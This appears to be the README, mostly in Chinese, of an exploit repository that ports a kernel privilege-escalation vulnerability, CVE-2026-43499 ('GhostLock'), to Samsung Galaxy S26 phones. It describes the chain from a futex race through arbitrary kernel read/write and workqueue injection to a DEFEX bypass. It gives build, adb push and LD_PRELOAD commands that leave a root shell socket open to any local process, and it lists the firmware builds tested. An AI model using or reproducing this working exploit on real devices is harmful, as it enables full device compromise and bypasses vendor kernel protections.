CVE-2026-43499 已移植至三星 Galaxy S26 系列 —— Android 16 / GKI 6.12。 一个二进制、三条内核线(kernel line)、运行时动态参数匹配:理论上无需针对每个 构建版本分别编译即可覆盖整个 S26 系列。
大多数 GhostLock 移植工作只针对单一设备或单一固件。 本仓库是一次全新的移植,为 S26 目标重写了每一个机制, 预计可覆盖整个系列。
在维护 snothin/CyberMeowfia 期间, 我发现原有的 pipe physrw 通道不稳定(会切断网络),因此 我放弃了这条路线并探索替代方案。后来我发现 monovibe 已经在我探索的方向上走得更远,于是采纳了这一思路, 经过反复调试后,本仓库成形。
uid=0(root) context=u:r:kernel:s0 身份运行;通过抽象 unix
socket 上的 su_daemon 获得持久 root shell。system_unbound_wq 上伪造一个 work_struct,
其函数为 call_usermodehelper_exec_work,因此内核会以 init 凭据执行我们的守护进程。
KDP 对凭据页的 EL2 防护永远不会被触发。pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
参数按内核线匹配(三条线:cn、intl、exynos),而非按单个
构建版本匹配。未知的 OTA 版本会按型号和 CSC 回退到最接近的已知内核线。
完全未知的型号会被拒绝(fail-closed,默认拒绝)。内置的构建
列表以 exploit/src/params_table.c 为准。
移植到新设备或新固件时所需的参数,请参见 PORTING.md。
需要 Android NDK(r26 及以上)。直接运行:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
将 preload.so、su_daemon_aarch64_pie 和 ksud 推送到设备(在 adb shell
会话中运行,uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
该利用程序是概率性的(竞态),通常需要反复尝试。运行成功后,
su_daemon 会监听 /data/local/tmp/temp_su.sock,任何本地进程都可以连接。
boot-claim 守卫(/data/local/tmp/ghostlock-boot.log)会记录每次开机的
运行结果;同一开机周期内第二次完整链路运行会被拒绝(可能导致设备崩溃)。
清除该文件或设置 BOOT_FORCE=1 即可覆盖该限制。
exploit/src/kernelsnitch/)| 型号 | 设备代号 | 已测试固件版本 |
|---|
| SM-S942x (S26 骁龙) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ 骁龙) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra 国行) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (已测试版本) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |